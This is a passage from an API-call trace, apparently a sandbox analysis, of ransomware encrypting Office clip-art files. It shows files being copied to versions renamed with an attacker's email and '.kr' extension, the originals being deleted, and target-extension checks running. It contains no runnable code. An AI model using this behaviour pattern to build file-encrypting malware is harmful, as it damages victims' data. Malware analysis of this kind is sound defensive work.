(lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0206.738] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.738] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0206.739] GetLastError () returned 0x0 [0206.740] ReadFile (in: hFile=0x370, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x16f8, lpOverlapped=0x0) returned 1 [0206.741] WriteFile (in: hFile=0x554, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x1700, lpOverlapped=0x0) returned 1 [0206.742] ReadFile (in: hFile=0x370, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0206.742] WriteFile (in: hFile=0x554, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0206.743] SetEndOfFile (hFile=0x554) returned 1 [0206.743] CloseHandle (hObject=0x554) returned 1 [0206.743] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.743] SetEndOfFile (hFile=0x370) returned 1 [0206.747] CloseHandle (hObject=0x370) returned 1 [0206.747] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0206.747] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf")) returned 1 [0206.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0206.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0206.748] lstrlenW (lpString=".doc") returned 4 [0206.748] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0206.748] lstrlenW (lpString=".docx") returned 5 [0206.748] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0206.748] lstrlenW (lpString=".pdf") returned 4 [0206.748] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0206.748] lstrlenW (lpString=".xls") returned 4 [0206.748] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0206.748] lstrlenW (lpString=".xlsx") returned 5 [0206.748] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0206.748] lstrlenW (lpString=".ppt") returned 4 [0206.748] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0206.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0206.748] lstrlenW (lpString=".zip") returned 4 [0206.748] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0206.748] lstrlenW (lpString=".rar") returned 4 [0206.748] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0206.748] lstrlenW (lpString=".bz2") returned 4 [0206.748] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0206.748] lstrlenW (lpString=".7z") returned 3 [0206.749] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0206.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0206.749] lstrlenW (lpString=".dbf") returned 4 [0206.749] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0206.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0206.749] lstrlenW (lpString=".1cd") returned 4 [0206.749] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0206.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0206.749] lstrlenW (lpString=".jpg") returned 4 [0206.749] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0206.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0206.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0206.750] lstrlenW (lpString=".doc") returned 4 [0206.750] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0206.750] lstrlenW (lpString=".docx") returned 5 [0206.750] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0206.750] lstrlenW (lpString=".pdf") returned 4 [0206.750] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0206.750] lstrlenW (lpString=".xls") returned 4 [0206.750] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0206.750] lstrlenW (lpString=".xlsx") returned 5 [0206.750] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0206.750] lstrlenW (lpString=".ppt") returned 4 [0206.750] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0206.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0206.750] lstrlenW (lpString=".zip") returned 4 [0206.750] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0206.750] lstrlenW (lpString=".rar") returned 4 [0206.750] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0206.750] lstrlenW (lpString=".bz2") returned 4 [0206.750] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0206.750] lstrlenW (lpString=".7z") returned 3 [0206.750] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0206.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0206.750] lstrlenW (lpString=".dbf") returned 4 [0206.750] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0206.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0206.750] lstrlenW (lpString=".1cd") returned 4 [0206.750] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0206.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0206.751] lstrlenW (lpString=".jpg") returned 4 [0206.751] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0206.751] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0206.751] lstrlenW (lpString="J0105386.WMF") returned 12 [0206.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0206.751] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=5980) returned 1 [0206.752] CloseHandle (hObject=0x370) returned 1 [0206.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf")) returned 0x220 [0206.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0206.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0206.752] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.752] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0206.753] GetLastError () returned 0x0 [0206.753] ReadFile (in: hFile=0x370, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x175c, lpOverlapped=0x0) returned 1 [0206.755] WriteFile (in: hFile=0x554, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x1760, lpOverlapped=0x0) returned 1 [0206.756] ReadFile (in: hFile=0x370, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0206.756] WriteFile (in: hFile=0x554, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0206.756] SetEndOfFile (hFile=0x554) returned 1 [0206.756] CloseHandle (hObject=0x554) returned 1 [0206.756] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.756] SetEndOfFile (hFile=0x370) returned 1 [0206.760] CloseHandle (hObject=0x370) returned 1 [0206.760] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0206.760] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf")) returned 1 [0206.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0206.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0206.761] lstrlenW (lpString=".doc") returned 4 [0206.761] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0206.761] lstrlenW (lpString=".docx") returned 5 [0206.761] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0206.761] lstrlenW (lpString=".pdf") returned 4 [0206.761] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0206.761] lstrlenW (lpString=".xls") returned 4 [0206.761] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0206.761] lstrlenW (lpString=".xlsx") returned 5 [0206.761] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0206.761] lstrlenW (lpString=".ppt") returned 4 [0206.761] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0206.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0206.761] lstrlenW (lpString=".zip") returned 4 [0206.761] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0206.761] lstrlenW (lpString=".rar") returned 4 [0206.761] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0206.761] lstrlenW (lpString=".bz2") returned 4 [0206.761] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0206.761] lstrlenW (lpString=".7z") returned 3 [0206.761] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0206.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0206.762] lstrlenW (lpString=".dbf") returned 4 [0206.762] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0206.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0206.762] lstrlenW (lpString=".1cd") returned 4 [0206.762] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0206.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0206.762] lstrlenW (lpString=".jpg") returned 4 [0206.762] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0206.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0206.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0206.762] lstrlenW (lpString=".doc") returned 4 [0206.762] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0206.762] lstrlenW (lpString=".docx") returned 5 [0206.762] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0206.762] lstrlenW (lpString=".pdf") returned 4 [0206.762] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0206.762] lstrlenW (lpString=".xls") returned 4 [0206.762] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0206.762] lstrlenW (lpString=".xlsx") returned 5 [0206.762] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0206.762] lstrlenW (lpString=".ppt") returned 4 [0206.762] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0206.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0206.762] lstrlenW (lpString=".zip") returned 4 [0206.762] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0206.762] lstrlenW (lpString=".rar") returned 4 [0206.762] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0206.762] lstrlenW (lpString=".bz2") returned 4 [0206.762] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0206.762] lstrlenW (lpString=".7z") returned 3 [0206.762] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0206.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0206.763] lstrlenW (lpString=".dbf") returned 4 [0206.763] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0206.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0206.763] lstrlenW (lpString=".1cd") returned 4 [0206.763] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0206.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0206.763] lstrlenW (lpString=".jpg") returned 4 [0206.763] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0206.763] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0206.763] lstrlenW (lpString="J0105388.WMF") returned 12 [0206.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0206.766] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=8252) returned 1 [0206.766] CloseHandle (hObject=0x370) returned 1 [0206.766] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf")) returned 0x220 [0206.767] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0206.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0206.767] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.767] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0206.768] GetLastError () returned 0x0 [0206.768] ReadFile (in: hFile=0x370, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x203c, lpOverlapped=0x0) returned 1 [0206.983] WriteFile (in: hFile=0x554, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x2040, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x2040, lpOverlapped=0x0) returned 1 [0206.984] ReadFile (in: hFile=0x370, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0206.984] WriteFile (in: hFile=0x554, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0206.985] SetEndOfFile (hFile=0x554) returned 1 [0206.985] CloseHandle (hObject=0x554) returned 1 [0206.985] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.985] SetEndOfFile (hFile=0x370) returned 1 [0206.988] CloseHandle (hObject=0x370) returned 1 [0206.988] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0206.988] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf")) returned 1 [0206.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0206.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0206.989] lstrlenW (lpString=".doc") returned 4 [0206.989] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0206.989] lstrlenW (lpString=".docx") returned 5 [0206.989] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0206.989] lstrlenW (lpString=".pdf") returned 4 [0206.989] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0206.989] lstrlenW (lpString=".xls") returned 4 [0206.989] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0206.989] lstrlenW (lpString=".xlsx") returned 5 [0206.989] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0206.989] lstrlenW (lpString=".ppt") returned 4 [0206.989] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0206.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0206.989] lstrlenW (lpString=".zip") returned 4 [0206.989] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0206.989] lstrlenW (lpString=".rar") returned 4 [0206.989] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0206.989] lstrlenW (lpString=".bz2") returned 4 [0206.989] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0206.989] lstrlenW (lpString=".7z") returned 3 [0206.989] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0206.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0206.989] lstrlenW (lpString=".dbf") returned 4 [0206.989] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0206.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0206.989] lstrlenW (lpString=".1cd") returned 4 [0206.990] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0206.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0206.990] lstrlenW (lpString=".jpg") returned 4 [0206.990] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0206.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0206.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0206.990] lstrlenW (lpString=".doc") returned 4 [0206.990] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0206.990] lstrlenW (lpString=".docx") returned 5 [0206.990] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0206.990] lstrlenW (lpString=".pdf") returned 4 [0206.990] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0206.990] lstrlenW (lpString=".xls") returned 4 [0206.990] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0206.990] lstrlenW (lpString=".xlsx") returned 5 [0206.990] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0206.990] lstrlenW (lpString=".ppt") returned 4 [0206.990] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0206.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0206.990] lstrlenW (lpString=".zip") returned 4 [0206.990] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0206.990] lstrlenW (lpString=".rar") returned 4 [0206.990] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0206.990] lstrlenW (lpString=".bz2") returned 4 [0206.990] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0206.990] lstrlenW (lpString=".7z") returned 3 [0206.990] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0206.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0206.990] lstrlenW (lpString=".dbf") returned 4 [0206.990] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0206.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0206.990] lstrlenW (lpString=".1cd") returned 4 [0206.991] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0206.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0206.991] lstrlenW (lpString=".jpg") returned 4 [0206.991] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0206.991] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0206.991] lstrlenW (lpString="J0105414.WMF") returned 12 [0206.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0207.290] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=6244) returned 1 [0207.290] CloseHandle (hObject=0x3f8) returned 1 [0207.290] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf")) returned 0x220 [0207.290] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0207.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0207.291] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.291] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 